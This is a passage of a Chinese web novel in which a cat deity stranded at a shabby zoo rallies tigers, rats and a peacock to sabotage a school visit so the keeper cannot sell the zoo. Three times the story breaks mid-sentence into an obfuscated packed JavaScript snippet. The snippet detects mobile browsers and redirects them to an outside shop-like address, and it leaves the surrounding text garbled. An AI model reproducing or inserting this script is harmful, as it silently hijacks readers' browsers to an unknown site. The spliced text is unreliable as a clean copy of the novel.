欧若拉点点头:“对!二十一天,如果没有我这个天神守护你三七二十一天的话,你的寒气会像寄生虫一样住在你的五脏六腑里再也不走,到那个时候就悔之晚矣啦,喵呜,你这个人类可不要讳疾忌医哦。” “地上的字,是你写的?”黎修羽嘴唇发白。 欧若拉答:“是啊。” “可是,你为什么要救我呢?”他叹了口气,“我死或不死,又跟你这只小猫有什么关系。” “那当然是因为你死了我就完蛋了啦!我可是一只自私的小猫呢…哎呀!” 7. 对啊…黎园长嘛! 欧若拉意识到自己把心声说出来,懊恼到将脑袋埋在被子里。 黎修羽挑挑眉。 “哎呀…”欧若拉抬头,嘿嘿笑着,“喵呜,是因为你有你必须活着的理由啦,你不可以放弃自己脆弱的小生命哦。” 黎修羽弯腰看她,声音清凉:“小猫,你有名字吗?” 欧若拉点点头:“喵呜?当然!我是欧若拉。” “好的,欧若拉,”黎修羽依旧看着她,“因为你的出现,我可以相信世界上有神明存在。现在,请你来回答我,你来到这里的目的究竟是什么?” “非说不可吗?”欧若拉眨眨琥珀色的大眼睛。 黎修羽点头:“是的。” 欧若拉噘噘嘴:“如果,我是说如果,如果我不想说呢?喵呜?” 黎修羽唇角微启:“那么,要么你,要么我,总有一只生物要从这张床上下来。” “你真的忍心?”欧若拉猫毛直立。 黎修羽清冷的声音轻飘飘地落下来,砸在欧若拉脑袋上:“我跟你不熟。” “那你确实可以忍心!”欧若拉坐直,尾巴向前缠绕,将粉色的小爪子盖住,“喵呜,总而言之呢,我是神仙。” “然后?” “然后就是,我想要重回天宫的唯一办法就是接受惩罚,喵呜,完成任务。” 黎修羽挑眉:“和这个动物园的关系是?” “哼!都怪您这座动物园太破啦!”欧若拉大叫,“如果您的动物园可以价值十万两黄金,我现在立即就能回天上去。除了小鱼干外,这里没有任何值得我留念的。” 她甩甩脑袋,继续道:“可惜啊!可惜啊!哎,这位园长大人,请您一定要好好发展壮大动物园,我能不能回天宫可全仰赖您了。” 黎修羽摇摇头。 欧若拉变出一双飞机耳,说:“你这是什么表情呀…难道你觉得我说的是假话?” 黎修羽的声音被困倦压得很沉:“真假都不重要。” 欧若拉两颊的胡须向后甩去:“但这必然是真话啊,喵呜!” “嗯,随便。” “好吧,那你要说话算话哦,”欧若拉拍拍被子,又跑去拍拍枕头,“现在我要睡觉了,请就位。” 黎修羽整理了下脖子上挂着的项链绳子,把绳子塞进衣领里。 他和衣躺下,随手将被子搭在身上。 欧若拉看到自己的“床铺”终于准备就绪,“啪”的一声,跳到黎修羽胸膛上。 “咳!”黎修羽一脸无奈,“请你老实一点。” “哎呀,不好意思呀,本喵缺觉了,有一丢丢兴奋…”欧若拉嘿嘿一笑。 她一双小爪爪在黎修羽胸膛的被子上抓来抓去,每次睡觉之前她都要这样踩踩,喉咙里发出“呼噜呼噜”的声音,像整张嘴里开了发动机一样。 她很认真地踩了几下,变缩成一团,沉沉地睡去。 黎修羽低眸瞧着胸膛上这只小猫咪,瞧了一会儿,合上了眼睛。 “喵呜…鱼干…喵呜!回家…”欧若拉喃喃着。 黎修羽半睁开眼。 实际上,他根本没有睡着,他并不习惯被东西压在身上的感觉,尤其这还是一只动物。 欧若拉嘴里吧唧吧唧的:“好吃…喵呜…” 黎修羽默默地叹了口气,再次闭上眼睛。 “啊呜~”欧若拉伸直胳膊,伸了个超大的懒腰,嘴巴也张得大大的,以至于两只妙脆角都撇到后面去了。 “好舒服呀!”她感慨万千,“喵呜?” 她踩踩被子,硬邦邦的。 “园长大人,您去哪里了?”她一骨碌爬起来,跳下床,叼着小鱼干,推开门往外看。 黎修羽天不亮就起来了。 他走进囤粮区,将每种动物的食物分门别类取出,全都装到拖拉机后槽,又将卫生工具横放在拖拉机上。 “轰隆隆隆——” 他开着十年前就存在的拖拉机,将食物分发到各个园区,每到一个地方,他都要停下来,打扫一下卫生。 走到猪堡堡的猪栏时,黎修羽停住了。 怎么会这么干净? 黎修羽看着角落里的猪。 猪没说话。 欧若拉蹲在墙头。 “喵呜,这位园长大人每天都要如此辛苦吗?” 鼠大灰说:“昨天他就没辛苦,一整天都待在屋子里呢。” “哎呀,昨天那是另有原因诶!”欧若拉说,“我这个天神都下凡了,这个凡夫俗子放一天假还是没什么问题的,我同意了,谁支持?” “我支持,我们都支持,嘿嘿,我们可是您最忠实的拥趸~” “假话有时候也不太好听。”欧若拉捋捋胡子,咕哝道,“嘿嘿,你看,这个凡夫俗子呆住了哈哈哈哈!” 黎修羽揉揉眼睛,重新睁开眼睛看。 猪栏还是非常干净,干净到一片蔬菜叶子都没有。 黎修羽往旁边走去,来到百虎园的一角。 虎白糖和虎红糖正在互相舔毛,看见园长来了,立即停下,呆呆地看着他。 百虎园也没什么好打扫的了,这里的红砖地板亮到反光。 虎白糖和虎红糖趴在红砖上,就像趴在湖边一样,可以在红砖上看见自己的倒影。 黎修羽给他们扔下一桶今早晨刚买来的鲜肉,转身去别的地方。 等黎修羽走远了,欧若拉跳下墙头,带着一群老鼠来到百虎园门口。 “白糖红糖,你俩刚刚为什么看着他发呆呀!” 虎白糖说:“那俺能知道园长突然停下是要干啥啊,这不就瞅瞅他。” 虎红糖说:“哼,你是被他吓到了吧!园长的眼神比咱那嘎的雪花还凉,谁能不怕…” 虎白糖说:“园长可能天生就浑身散发冷气吧,说不准上辈子是个空调成精啊。” “还得是夏天的空调才行!”欧若拉说。 “同意。”虎红糖点点头。 “你们去行动吧,八小时工作制,现在启动。”欧若拉朝老鼠们挥挥爪子,老鼠们一拥而散。 “欧神仙,您真是太有范儿了,真给咱们大东北长脸,”虎白糖说,“现在咱们全动物园都知道您了,连那个平日里最傲娇的孔雀司令都说想跟您见面。” 虎红糖说:“嘘,你小声点儿,司令现在心情不好,今天见面肯定见不成啦。” “那就让欧神仙再给他下一场花瓣雨,我不信他心情还能一直那么糟糕。” “嘿,您说怎么着?要是下花瓣雨就能解决心理问题,那咱们这些动物也不会天天郁闷了,白糖哥您也不用想着回家了。” 虎白糖胡须动了两下:“嗨,别提这茬,一提更想回家,真难受啊。” “花瓣雨的确下不成,喵呜,”欧若拉摇摇头,“可为什么这座动物园里的动物好像心情都不太好?除了我们的啮齿类特别行动组,嘿嘿。” “这…”虎红糖挠挠毛茸茸的黄色脑袋。 “这说来太复杂了,唉。”虎白糖耷拉着脑袋,慢悠悠地走到一旁。 “那你们就仔细说说。你们现在这个态度可不行哦,你们一个个的都这么沮丧,这里还怎么开门招揽生意赚金子呀!我可不允许这里赚不到金子!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526368|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虎白糖呵呵一笑:“反正这里生意惨淡。” 虎红糖接着说:“是啊是啊,也没什么大不了的。嗷呜,情绪可是个复杂的问题。” 欧若拉哼道:“那我不管,我要知道原因。” “我们都是没有上过九百年义务教育的妖精,”虎红糖说,“总结不出个所以然来呀。” “那谁!那谁!”虎白糖说,“欧神仙,您去找那谁,羊乐多,那头该死的老山羊。” 虎红糖拍拍大爪子:“羊乐多什么都知道!我是羊乐多故事会的忠实听众啊。” 欧若拉鼻子一嗅,朝满是羊腥味儿的园区跑去。 “阿弥陀佛,福生无量天尊,真主阿门,神仙大人大驾光临,有失远迎,还望见谅啊,咩。” 幽暗的羊圈里传来苍老的声音。 欧若拉立在栏杆的圆头上。 “你是羊乐多吗?” “名称不过是一个代号,小辈们为我取这个名字,是希望我多多快乐呀。神仙大人若愿意,也可以称呼我为羊老、老羊、乐多、多乐…” 羊圈里传来窸窸窣窣的声音,好一会儿,一只老山羊慢慢地从阴暗之处挪出来,半边身子暴露在阳光下。 他眯着眼睛,抬头看向欧若拉,他绿色眼睛里的横向瞳孔和欧若拉琥珀眼睛里的竖向瞳孔正好能组成一个十字架。 “神仙大人屈尊来此,是因为他们让你来找我的吧,咩。” “老虎们说你什么都知道。” “小辈们太抬举我…我只不过是经历了太多,读了太多的书,走了太多的路,通晓古今中外,熟悉运用四书五经,才略通点浮世间的真理罢了。”羊乐多摇着山羊胡子,“这年头啊,愿意听老人讲故事的年轻人真是越来越少了。神仙大人,我对您知无不言,言无不尽,知道的,我都告诉您,不知道的,我也可以猜。” “太谦虚,”欧若拉干巴巴地说,“太装模作样。” 羊乐多喉间一哽,干笑两声:“你这只小猫,哦不…神仙大人…可真是直截了当。” “自从开始说真话了,真受不了听这些虚伪的假话。”欧若拉说。 羊乐多点点头:“哦,原来如此啊,难怪神仙大人四周总涌现着一种真诚的锐气呢!” 欧若拉做了个黎修羽同款表情,无声地翻了个大白眼,跳下栏杆,顺势跳到羊食槽上。 “喵呜,咱们开门见山吧,你究竟知不知道动物们不开心的原因?” 羊乐多“啧啧”两声,抬起羊蹄,指着黎修羽屋子的方向:“神仙大人可知道,那里住的是何人?” “你们动物园的园长啊!喵呜,他叫什么来着?” 欧若拉的耳朵变成飞机耳了,她这才意识到,自己从来都没有问过那个凡夫俗子的姓名。 “黎修羽…”羊乐多说。 “对,黎园长嘛!”欧若拉说。 羊乐多又说:“那施主可知道,这位园长是何时接手的动物园?” “我管他什么时候接手的!”欧若拉说。 羊乐多自顾自说:“哎呀,已经一个月啦,这位园长已经被折磨了一个月啦。” 欧若拉皱皱胡子:“什么折磨?你到底想说什么?” “还是我们这些老家伙恋旧啊,从前的车马慢,一生只爱一只羊,从前的车羊更慢,一生只爱一片地方。” “说羊话。”欧若拉立即说。 “咩,”羊乐多打住吟诗作对的兴致,将羊蹄子放在嘴边说,“神仙大人可知道,一个星期前,有人曾来过咱们园子。” “什么人?那时候我还在天上享福呢,我上哪知道去?喵呜!” 8. 不能被这个可恶的凡夫俗子的美食收买 “咳咳,咩,就是一个拿着动物园地形图纸的人。”羊乐多说。 欧若拉一双耳朵全都竖起来:“然后呢?喵呜,发生什么了?” “这还有什么好发生的?该发生的都会慢慢发生啦,这种人下次肯定还会来的。”羊乐多揉揉胡子。 “难道他要卖掉这里???”欧若拉大叫,“那怎么可以!他起早贪黑照顾园区里的小动物们,难道只是为了让这里卖个好价钱?” “有些人啊,越不喜欢的事情,偏偏就全落在他头上。越喜欢的事情呢,咩,偏偏一件都做不成,啧啧。” 怪不得,怪不得他说他许过愿,怪不得他说不知道我的从天而降是惩罚他还是成全他。 欧若拉已经听不下其他话了:“他疯啦!你当真?他真的要卖掉动物园?” “卖不卖掉…老衲不予置评,然…” 欧若拉一个蹬腿就飞奔出去,向闪电一样。 羊乐多用一只羊蹄子扶住脑袋:“呼,终于送走了…再不走,老衲就真要词穷到编不出个所以然了。” 黎修羽从百虎园离开,走到另一个土坡后面,从拖拉机上拿出望远镜。 “……” 他看见欧若拉身后跟着一群排列整齐的老鼠,一群动物浩浩荡荡地进入百虎园。 他还看到欧若拉小爪一挥,老鼠们便分为好多个小组,去往每一个园区参与劳动。 老鼠们干活速度极快,动物们也对老鼠毫无反感。 在行动完毕后,动物们便把他刚给它们放下的食物分出一部分,交给那群老鼠。 “小黎园长,”李大爷走过来,手里抓着一只黄鼠狼,“那只小猫成精啦,连天敌们都愿意听她的,真是活久见。” “嗯。”黎修羽点点头。 李大爷说:“有她帮忙,咱们动物园以后就不怕鼠患了,只需要防范这样的…哎呦,别挣扎了…黄鼠狼就行。” 黄鼠狼“吱吱”乱叫,骂骂咧咧的,眼神里都是对李大爷的恐惧。 “小黎园长,你看这群动物多么和睦呀,你爸妈也一定很想让你跟他们好好相处啊。” 黎修羽放下望远镜,拧开瓶盖,把水给李大爷:“李爷,你不用劝我。” 他发动拖拉机,去给孔雀喂食。 回到自己的住所,黎修羽将他刚从仓库里取出的九种口味小鱼干,分别拿出一条,摆到猫盆里。 “砰!” 欧若拉一头把门撞开。 “今天的老鼠呢?”黎修羽神色未变,语气里夹杂了一丝不易察觉的笑意。 欧若拉气势汹汹,看见面前摆着整整齐齐的九条小鱼干,瞬间眼睛里冒出金光,缓慢的张大小嘴巴,整只猫都愣在原地。 她猛地摇摇脑袋,胡须跟着到处甩。 不对! 不能被这个可恶的凡夫俗子的美食收买! 她再次气势汹汹,龇牙咧嘴,发出“呜”的声音:“喵呜!你!是不是要卖掉这座动物园?” “是的。”黎修羽错愕一瞬。 欧若拉更生气了:“我不同意!” 黎修羽站直,话音中全是非比寻常的平静:“卖掉动物园是我个人的决定,你愿意呆在这里就继续呆在这里。” “你怎么能这样?如果你卖给坏人,那个坏人不让我呆在这里怎么办?那个坏人打我怎么办?那个坏人不给我吃小鱼干怎么办?你说话呀。” “我不可能因为你的出现就打乱所有计划。”黎修羽声音机械到仿佛在念经。 欧若拉爪子猛地拍在地板上,发出“砰”的一声。 “靠!就算我们俩感情不深,那你不考虑我,也得为其他动物着想!万一那个买动物园的坏蛋不想开动物园了怎么办?万一那个坏蛋把猴山推成平地了怎么办?万一那个坏蛋填湖造陆,把小鱼儿都干死了怎么办?万一那个坏蛋喜欢吃羊肉,把咱们动物园里最博学多才却又特别特别爱装叉的老山羊宰了怎么办?” “合同里有需要继续经营动物园的要求。”黎修羽翻着合同。 “可万一那个坏蛋是个黑心商人呢?他给老虎吃僵尸肉,给猪吃烂菜叶子,把李大爷那个看门老头儿赶走了怎么办?那这座动物园就不可能升值了呀!你知道这座动物园对我有多重要!” “那你继续努力。”黎修羽低头翻着文件。 欧若拉跳到桌子上,浑身的毛都炸了:“你怎么能这么冷血?我不相信你对这些动物没有一点点感情诶!” “欧若拉,”黎修羽抬眼看她,“我讨厌动物,讨厌毛茸茸的东西,讨厌这里的味道,更讨厌那些喜欢动物的人。我没得选,接手这座动物园是迫不得已,现在有能放手的机会,我自然是要试一试。” 黎修羽黯淡的眼神走到别处:“不知道我为什么要跟你说这些。你和这里的动物相处得很融洽,你继续待在这里就好,但请你有点边界感,不要插手人类的事情。” 欧若拉愣住了,她低头看看盘子里的九条小鱼干,没想到这个为她准备好几种口味小鱼干的人类会说出这么冷血的话。 黎修羽走到门口:“你想待就待,不想待,门就在这边。” 他出门了。 欧若拉咬牙切齿,抓起黎修羽放在桌子上的笔,一把将其甩到桌子底下:“喵呜,坏人,你以为是我不想走吗?是我根本走不了,好吧!” 她突然跳起来。 “绝对不能让他成功卖掉动物园,新来的老板不可能比他更好,绝对不能让这件事情耽误我的动物园升值大计。” 她一个箭步,冲出房子。 门卫室内。 李大爷躺在太师椅上吹暖风,手里拿了杯老红茶。 房门虚掩着。 欧若拉一爪推开门,跳到桌子上。 “别喝了,你这只老狐狸精!” 李大爷慢慢睁开眼睛:“原来是猫仙大人啊!” 他将茶水放到桌子上。 “你潜伏得够深。”欧若拉呲牙咧嘴,“别的妖精法力低微,就只能在那一亩三分地里当只普通动物供人参观,你这只千年老妖,却可以如此逍遥快活,还真当起人来了。” “猫仙奶奶,我不过才九百年道行,还不到千岁呢。” “喵呜,我不跟你具体掰扯这个。”欧若拉说,“现在我命令你告诉我,你潜伏在此究竟有什么目的?你是不是知道这里的秘密?” “我的目的就是守护好这一方净土。”李大爷慢悠悠地说。 欧若拉斜睨着他:“哼,狡猾的狐狸,你真有这么善良吗?依据天性来说,我并不相信你说的话都是真话。” “狐狸的确有狡猾的天性,但九百年沧海桑田,我已经历了太多浮沉,自己说出口的话,究竟是真是假,我还是可以分辨的。” 欧若拉想了想,扬着下巴:“那现在我再次命令你,跟我讲这个动物园的秘密。” “没有。”李大爷坚定地说。 欧若拉靠近他:“你确定不说?再一再二不再三,你再不说,我就去告诉黎修羽,他尊敬的门卫大爷其实是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526369|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只老狐狸精。” “那您去说吧,您看看他是信您这只小猫,还是信我这个为动物园看了十年大门的人。”李大爷躺倒在太师椅上,仰头朝天花板呼出口气。 “可恶!”欧若拉说,“难道你也同意他卖掉动物园?你为什么要帮着他!” “卖不卖掉动物园都是园长说了算,我们就算不同意,又能怎样呢?您干嘛在这件事上过不去呢?” “跟你有什么关系…”欧若拉把毛茸茸的小脑袋别到一边,不愿意看他。 “您来到这里,才第三天吧,就这么想保住这个地方,难道是为了小黎园长?” “你别抬举他!我一介天神怎么可能为了一个凡夫俗子烦恼?”欧若拉摇摇尾巴,“如果不是他非要给我惹麻烦,我现在还正在他的屋子里吃小鱼干呢。” 欧若拉趴在桌子上。 过了一会儿。 欧若拉小声地说:“那该怎么办呢?总不能眼看着事情往最坏的方向去发展吧?” 她黄色的眸子转来转去,突然看见门卫房里贴着的一张花花绿绿的东西。 “如果…我是说,如果…这座动物园出尽洋相,是不是就有可能贬值到让买家不愿意接手。” 李大爷终于瞪大眼睛:“想干嘛?这里是我两位恩人的基业,可不兴毁掉这里。” “你的两位恩人是黎修羽的父母吗?”欧若拉眨眨眼睛。 “猫仙奶奶还是很聪明的。” 欧若拉没理会他的夸赞,猛然伸出小爪爪,用指甲指了指墙上那幅画。 “那是什么?” “什么?”李大爷回头看,“哦,是我们动物园的宣传海报。” 他将海报揭下,放在桌子上。 ——春季亲子游园会第三站,星羽动物园,3月17日,不见不散。京川市实验小学—— 3月17日? 这不就是三天后? 她忽然想起来,今早晨她看见黎修羽给动物们分发食物的时候,在每一个园区的指示牌上,都重新涂涂刷刷了一遍。 欧若拉摇摇尾巴,胡须动动:“我亲爱的李大爷呀!你说,如果在这一天,发生那么一丢丢小小的意外…” “那咱这动物园可就彻底拉倒了。”李大爷摇摇头。 欧若拉也摇摇头:“那可太好啦。” 她眼睛越来越亮:“比如,孔雀在众人的呐喊下就是不开屏,等到小朋友们靠近了,他再忽然开屏,把那群小朋友吓一跳;比如,把猴山里的猴都放出来,让每一只猴都去抢游客的红色旅行小帽子,还是得抢了不还的那种;比如…” “您这是在搞破坏呀!”李大爷继续摇头。 “什么叫搞破坏?这叫做魔法对轰。喵呜,他想要卖动物园,我就偏不让他如意。等这座动物园臭名昭著了,我看他还拿什么筹码去跟那个买家谈钱!” 李大爷沉思一会儿,笑起来:“猫仙奶奶,有意思。” “So,我需要你的帮助。”欧若拉挑挑胡子。 “哎哟,我只是一个看门老头儿,我什么办法都没有。” 李大爷又躺到太师椅上,口袋里突然掉下一串东西,落在地上。 他闭上眼睛,似乎并没有听到清脆的响声。 欧若拉跳到地上,用粉色小爪子扒拉那串钥匙,上面贴着一张张小标签——猴山、孔雀楼阁、长颈鹿台… 欧若拉抬头看着李大爷。 这只老狐狸精似乎已经睡着了。 她叼着钥匙,跑出了门。 9. 千万不要增加我的罚款呀 欧若拉来到非洲之歌园区。 这里的布局十分开阔,她挑了个最有非洲特色的地界儿,纵身一跃,跳进去。 欧若拉踩在北部白犀牛的头上:“娜法,常规动物园区要举办春日游园会,我打算召集动物们一起去捣乱,你要不要带着你的妈妈参与?” 娜法庞大的身躯岿然不动,即使欧若拉在她头上跳来跳去。 她慢慢地嚼了口从非洲进口的干草:“不了,濒危动物不参与,我和妈妈都不想离开这个园区。” 欧若拉跳到树上:“哼,真是个大孝女,但是鉴于我的目的,我有一点点讨厌你。” “狮子王,你叫什么名字?”欧若拉趴在巨大的青石上,粉色的尾巴摇来摇去。 “狮子王,啊呜,本王就是叫狮子王。”狮子王打了个大大的哈欠。 “那么,狮子王,我邀请你来参加我的动物园捣蛋计划。”欧若拉对狮子王伸出粉色的爪爪。 “啊呜,”狮子王又打了个哈欠,“干嘛不造核弹呀?导弹也太低级了,□□也行,把这里炸了,某只老虎就能回他长白山老家了,啊呜。” “是de、ao,捣~捣蒜的捣!”欧若拉又跳到另一块青石上,“你是不是…” “啊呜,咋了?” “我现在怀疑你自以为自己不如老虎凶猛。”欧若拉认真地说。 “怎么可能?”狮子王大叫一声,“吼,我可是草原之王。” “那你证明给我看!”欧若拉摇摇脑袋。 狮子王小小的眼睛眯起来:“你要干嘛?” 欧若拉跳到他头上,咬着他的耳朵,把计划告诉了他。 狮子王耳朵动了动。 欧若拉又跑到另一座山头的“沉睡魔咒”园区。 顾名思义,这里的所有动物每天除了睡觉就还是睡觉,包括但不限于巴西貘、树懒、小浣熊、水豚、火烈鸟和穿山甲。 “…呃,显然指望不上。” 欧若拉摇摇头:“我即将单方面把这个园区的动物从我的计划中开除。” “喵呜,那只名字叫司令的孔雀真的那么难对付吗?”欧若拉用脚挠挠脑袋,又甩甩头,很多浮毛都飞到天上了。 她回到百虎园。 虎红糖说:“其实他名字不叫‘司令’,‘司令’这个外号是我们嘲讽他才这样说的,谁让他总是高高在上,瞎指挥我们。” “那他叫什么?”欧若拉问。 虎红糖答:“大明王菩萨。” “……”欧若拉爪子搭在脑门上,叹了口气,“不重要,重要的是我们需要他的参与,现在只差他了。” 虎白糖走出来:“唉,真无聊…啊,您给他下场花瓣雨呗。他之前跟我讲,您那场花瓣雨真是老带劲儿了!” 欧若拉翻了个大白眼。 这些小妖精真是哪壶不开提哪壶。 她翻完大白眼之后,眼睛正好转了一圈。 有了。 她跳到虎白糖背上,趴在虎白糖的耳朵旁说了几句话。 “嗯,这事儿准成。”虎白糖点点头,原先耷拉着的大脸蛋儿浮现出一丝兴奋。 “什么啊?”虎红糖说。 “吼,吼吼,俺也想听听。”猪堡堡两只前蹄扒着栏杆,绿豆眼睛眨了好几下。 “你们看好家,我去去就回。”虎白糖笑起来。 “你要离开这儿!”虎红糖大叫一声。 “嘘!差点儿就暴露了。”虎白糖捂住虎红糖的嘴。 虎红糖憋气憋到两只腮都鼓起来,便点点头:“嗯,呜呜,嗯!” 猪堡堡说:“你真要离开这儿?!” 虎白糖又捂住猪堡堡的嘴:“嘘,我只是在园区里行动!不去塔斯汀!” “呜呜,好吧!吼!”猪堡堡放过栏杆了。 欧若拉吊在门上,把百虎园的门打开,虎白糖走出来,她又关上门。 虎白糖狠狠吸了口新鲜空气:“啊,自由的味道,胜过无数鸡汤。” 他奔跑着,跑了一小会儿就变成了走路。 到了孔雀楼阁,他停住脚步,身后的半融化的雪地上是一排老虎的大爪印。 “喵呜,南无阿弥陀佛!”欧若拉站在孔雀楼阁的大门上,清清嗓子,“大明王菩萨在吗?” “不在!”楼阁深处传来暴躁的声音。 欧若拉:“…” “他说不在。”虎白糖小声说。 “嘘,我也听见了。”欧若拉也小声说。 她又重新清清嗓子:“那只叫‘司令’的孔雀大爷在吗?” “靠,你们都别来烦我!” “这家伙竟然比我脾气还大!”欧若拉点点头,对这只孔雀的脾气表示赞同,“不是他们,是我。” 顶楼传来“扑棱”一声,一只头戴金毛,羽毛是蓝绿相间的孔雀从楼里飞出来。 欧若拉抬头,发现这只孔雀舒展开羽毛时,连逐渐升温的太阳都能遮得严严实实。 大明王菩萨走到台阶上,平视着欧若拉。 “第一,我不叫‘司令’;第二,我不是大爷,我是大帅哥;第三,我也不认识你;第四,你的嗓门太大了,已经严重影响到我了。” 欧若拉嘿嘿一笑:“这不是太想见到你了吗?大明王菩萨?那我跟你说声对不起啊。” 大明王菩萨点点头:“说吧,找我什么事?提前告诉你,如果你跟我说无聊至极的事,我现在立即飞到楼阁中去。” “是很有意思的事儿,反正不是坏事儿。”欧若拉说,“三天后,有一伙小学生要来这里——” “不参加。”大明王菩萨打断她。 “我还没有说完话呢!”欧若拉被噎住了。 “不想听。”大明王菩萨又说,“那群小学生真是讨厌死了,每年这时候都要来打扰我的清净,他们和他们的家长就像一群马戏团的猴子,总是吆喝着让我展示我的羽毛,哐哐哐拍玻璃。哼,虽然本帅哥的羽毛是很好看。” 大明王披萨扭扭屁股,蓝绿色的羽毛在阳光下闪闪发亮。 “这就对了!我觉得你的羽毛也特别不好看。”欧若拉点点头,眯眼笑起来。 “嘎!你居然敢说我的羽毛不好看?!”大明王菩萨抱着脑袋,尖叫一声。 欧若拉立即捂住嘴巴,她知道,她又把自己的心里话说出来了。 “坏嘴坏嘴坏嘴!”欧若拉小声咕哝,“嘿嘿,现在给你个机会,让你收拾他们。” “…什么机会?”大明王菩萨后退一步,“我管什么机会呢?那天我要闭关,不见客。” “喵呜!又不是让你接待他们,是让你去欺负他们。这多有意思呀!” 大明王菩萨正要振翅高飞,听了这句话,又将翅膀放下:“…怎么说?” “等那天他们来参观的时候,不论他们怎么夸你或喊你,你都绝对不能让他们如意,他们让你开屏,你就偏不开,急死他们。”欧若拉嘿嘿一笑,“喵呜,等到那群小孩要近距离接触你的时候,你再突然孔雀开屏,嘴巴里还要发出尖叫的声音,就像你刚才一样,狠狠地把他们吓哭,这一定特别好玩儿。” “然后呢…”大明王菩萨说。 “喵呜?你这一part就结束啦。”欧若拉撇撇嘴。 “这也太无聊了。我为什么要陪你玩这种小把戏?”大明王菩萨说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526370|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “虽然这的确是小把戏,但这也是你的荣耀之战呀。他们总是把你当成猴子围观,难道你就不想狠狠地欺负他们一次吗?让他们也长长记性!喵呜!” “可我还是觉得很无聊,你自己玩去吧。”大明王菩萨转身走去。 “臭孔雀,比那个姓黎的混蛋还难交流…”欧若拉呲牙咧嘴,“我诅咒你每天都摔进泥巴坑,就跟天上那个讨厌的局长一样…” 大明王菩萨停住脚步,回头盯着她:“你的声音…好熟悉。” “…你终于意识到你听过我的声音了。” 欧若拉叹口气,又要重新回想一下自己的丢人事迹了。 她抓住最后时机:“我知道,你喜欢,喵呜,这个。” 欧若拉打了个响指。 一只雪球突然从门外飞过来,正好砸在大明王菩萨的头上。 “啊呦!” 大明王菩萨被打翻在地,躺在地上,又立即爬起来。 “猫妈妈呀!”欧若拉大叫一声,立即回头,低头朝虎白糖小声说,“不是,大哥,虎大哥,我让你搞的是雪花,不是雪球啊!你也太暴力了!” 虎白糖嘿嘿一笑:“搞错了,再来。” “喂!你二话不说拿雪球砸我干嘛!我讨厌这个!”大明王菩萨尖叫起来。 欧若拉立即摆摆手:“这都是误会,这纯属失误。” “嘎!气死我了,气死我了!我的发型都毁了!”大明王菩萨甩甩翅膀,又吹吹自己头上的金毛。 “先别生气”欧若拉笑笑,“看到这棵树了没?” 她在空中打了个精彩的响指。 虎白糖听到指令,立即撞到树上。 树上残留的雪花纷纷落下。 欧若拉闭上眼睛,嘴里振振有词。 “喵呜,老天保佑,老天有眼,这真的只是一个小小的、带有善意的法术而已,千万不要增加我的罚款呀。” 她叽里咕噜念了一堆咒语。 瞬间,漫天飞雪被染成浅粉色,就像那天晚上的花瓣雨一样。 大明王菩萨捂着脑袋,从羽毛的缝隙中瞧见了这漫天“花瓣”。 他伸出翅膀,接住几片雪花:“这是?” “这是你的生日预演。”欧若拉笑起来,“我以天神的名义向你保证,只要你配合我的计划,在你过生日时,我一定为你下一场真正的花瓣雨。喵呜~” “…好,”大明王菩萨点点头,“但我有两个要求。” 欧若拉摆摆爪子:“你说说看。” “第一,至少要有30%的行动听我指挥,因为在你来到这里之前,我才是那个一直发号施令的老大。” 虎白糖在墙外说:“你听他扯犊子还不如去听谢广坤靠谱。” 大明王菩萨沉浸在自己编织的计划中:“第二,以后每年生日你都要给我下花瓣雨,不只是粉色,明年我要看紫色的,后年我要看金色的,大后年我要看蓝色的,总之,我要看到五颜六色,很多很多颜色。” 欧若拉心想,反正等这只孔雀过生日之前,她肯定就已经赚够money回到天上当神仙了,到时候法力多多,下点儿花瓣雨还不是小菜一碟,那就先答应他呗! “成交!”欧若拉嘿嘿笑着,“今天凌晨两点半,记得来百虎园开会。” 大明王菩萨尖尖的嘴里蹦出两个字。“不、去。” 欧若拉跳起来:“为神马!” 大明王菩萨扭扭屁股,甩了下脑袋,往阁内走去。 “本帅哥要睡美容觉,不好意思啊~” “其实我比你好看一万倍。”欧若拉撇撇嘴。 她跳下墙头,跳到虎白糖的背上。 10. 因为那是闪光灯 “他终于同意啦!”虎白糖说。 “天神出马,一个顶俩。我简直绝世爆聪明好嘛!”欧若拉摇摇脑袋,胡须上下颤抖着。 “得嘞,咱滴铁汁欧神仙,咱们走着?” “喵呜,老实告诉我,”欧若拉说,“那个雪球,是不是你故意打他的?” 虎白糖嘿嘿一笑:“还是被神仙大人看穿了…” “打得好,”欧若拉拍拍虎白糖的大脑袋,“我比他好看一万倍。” 他们回到百虎园。 虎白糖越走越慢。 “你这样会让我以为我很重!”欧若拉踩踩他的背,“再不回去就吃不上晚饭啦!” “…我。”虎白糖欲言又止。 